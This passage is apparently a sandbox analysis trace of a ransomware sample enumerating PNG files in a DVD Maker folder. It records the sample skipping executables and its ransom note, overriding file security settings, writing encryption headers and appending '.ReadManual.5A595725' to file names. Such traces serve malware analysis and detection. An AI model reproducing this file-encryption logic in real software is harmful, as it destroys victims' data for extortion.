SetNamedSecurityInfoW () returned 0x0 [0258.139] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.139] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1545) returned 1 [0258.140] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x609, lpName=0x0) returned 0x1a0 [0258.140] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0258.140] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.140] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.142] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.142] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x609) returned 0x2f0000 [0258.142] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.142] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37881086307) returned 1 [0258.142] CloseHandle (hObject=0x1a0) returned 1 [0258.142] SetSecurityInfo () returned 0x5 [0258.142] SetSecurityInfo () returned 0x5 [0258.142] LocalFree (hMem=0x674d38) returned 0x0 [0258.142] CloseHandle (hObject=0x184) returned 1 [0258.142] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0258.142] lstrcpyW (in: lpString1=0x6ab90a, lpString2="16_9-frame-image-inset.png" | out: lpString1="16_9-frame-image-inset.png") returned="16_9-frame-image-inset.png" [0258.143] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="RecoveryManual.html") returned -1 [0258.143] StrStrIW (lpFirst="16_9-frame-image-inset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.143] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.143] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.143] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.143] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.143] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.143] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.143] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" [0258.143] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.ReadManual.5A595725" [0258.143] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.ReadManual.5A595725") returned 101 [0258.143] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37881182632) returned 1 [0258.143] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png")) returned 0x20 [0258.143] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.143] GetLastError () returned 0x5 [0258.143] GetNamedSecurityInfoW () returned 0x0 [0258.144] SetNamedSecurityInfoW () returned 0x0 [0258.144] SetNamedSecurityInfoW () returned 0x0 [0258.145] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.145] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3159) returned 1 [0258.145] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc57, lpName=0x0) returned 0x1a0 [0258.145] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0258.145] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.145] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.149] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.149] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc57) returned 0x2f0000 [0258.150] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.150] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37881835278) returned 1 [0258.150] CloseHandle (hObject=0x1a0) returned 1 [0258.150] SetSecurityInfo () returned 0x5 [0258.150] SetSecurityInfo () returned 0x5 [0258.150] LocalFree (hMem=0x674d38) returned 0x0 [0258.150] CloseHandle (hObject=0x184) returned 1 [0258.150] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0258.151] lstrcpyW (in: lpString1=0x6ab90a, lpString2="btn-back-static.png" | out: lpString1="btn-back-static.png") returned="btn-back-static.png" [0258.151] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RecoveryManual.html") returned -1 [0258.151] StrStrIW (lpFirst="btn-back-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.151] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.151] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.151] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.151] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.151] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.151] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.151] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" [0258.151] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.ReadManual.5A595725" [0258.151] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.ReadManual.5A595725") returned 94 [0258.151] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37881987311) returned 1 [0258.151] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0258.151] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.151] GetLastError () returned 0x5 [0258.151] GetNamedSecurityInfoW () returned 0x0 [0258.152] SetNamedSecurityInfoW () returned 0x0 [0258.152] SetNamedSecurityInfoW () returned 0x0 [0258.153] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.153] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=8509) returned 1 [0258.153] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x213d, lpName=0x0) returned 0x1a0 [0258.153] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0258.153] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.153] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.155] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.155] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x213d) returned 0x2f0000 [0258.156] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.156] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37882445934) returned 1 [0258.156] CloseHandle (hObject=0x1a0) returned 1 [0258.156] SetSecurityInfo () returned 0x5 [0258.156] SetSecurityInfo () returned 0x5 [0258.156] LocalFree (hMem=0x674d38) returned 0x0 [0258.156] CloseHandle (hObject=0x184) returned 1 [0258.156] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0258.156] lstrcpyW (in: lpString1=0x6ab90a, lpString2="btn-next-static.png" | out: lpString1="btn-next-static.png") returned="btn-next-static.png" [0258.156] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RecoveryManual.html") returned -1 [0258.156] StrStrIW (lpFirst="btn-next-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.156] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.156] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.156] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.156] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.156] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.156] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.157] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.157] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" [0258.157] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.ReadManual.5A595725" [0258.157] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.ReadManual.5A595725") returned 94 [0258.157] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37882544602) returned 1 [0258.157] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0258.158] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.158] GetLastError () returned 0x5 [0258.158] GetNamedSecurityInfoW () returned 0x0 [0258.158] SetNamedSecurityInfoW () returned 0x0 [0258.158] SetNamedSecurityInfoW () returned 0x0 [0258.159] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.159] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=8120) returned 1 [0258.159] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fb8, lpName=0x0) returned 0x1a0 [0258.159] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0258.160] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.160] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.161] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.162] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fb8) returned 0x2f0000 [0258.162] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.162] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37883052190) returned 1 [0258.162] CloseHandle (hObject=0x1a0) returned 1 [0258.162] SetSecurityInfo () returned 0x5 [0258.162] SetSecurityInfo () returned 0x5 [0258.162] LocalFree (hMem=0x674d38) returned 0x0 [0258.162] CloseHandle (hObject=0x184) returned 1 [0258.163] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0258.163] lstrcpyW (in: lpString1=0x6ab90a, lpString2="btn-previous-static.png" | out: lpString1="btn-previous-static.png") returned="btn-previous-static.png" [0258.163] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RecoveryManual.html") returned -1 [0258.163] StrStrIW (lpFirst="btn-previous-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.163] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.163] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.163] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.163] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.163] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.163] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.163] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" [0258.163] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.ReadManual.5A595725" [0258.163] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.ReadManual.5A595725") returned 98 [0258.163] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37883204778) returned 1 [0258.163] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 [0258.163] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.164] GetLastError () returned 0x5 [0258.164] GetNamedSecurityInfoW () returned 0x0 [0258.164] SetNamedSecurityInfoW () returned 0x0 [0258.164] SetNamedSecurityInfoW () returned 0x0 [0258.165] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.165] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=8406) returned 1 [0258.165] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20d6, lpName=0x0) returned 0x1a0 [0258.165] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0258.166] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.166] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.167] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.167] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20d6) returned 0x2f0000 [0258.168] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.168] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37883639827) returned 1 [0258.168] CloseHandle (hObject=0x1a0) returned 1 [0258.168] SetSecurityInfo () returned 0x5 [0258.168] SetSecurityInfo () returned 0x5 [0258.168] LocalFree (hMem=0x674d38) returned 0x0 [0258.168] CloseHandle (hObject=0x184) returned 1 [0258.169] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0258.169] lstrcpyW (in: lpString1=0x6ab90a, lpString2="button-bullet.png" | out: lpString1="button-bullet.png") returned="button-bullet.png" [0258.169] lstrcmpiW (lpString1="button-bullet.png", lpString2="RecoveryManual.html") returned -1 [0258.169] StrStrIW (lpFirst="button-bullet.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.169] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.169] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.169] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.169] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.169] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.169] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.169] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") 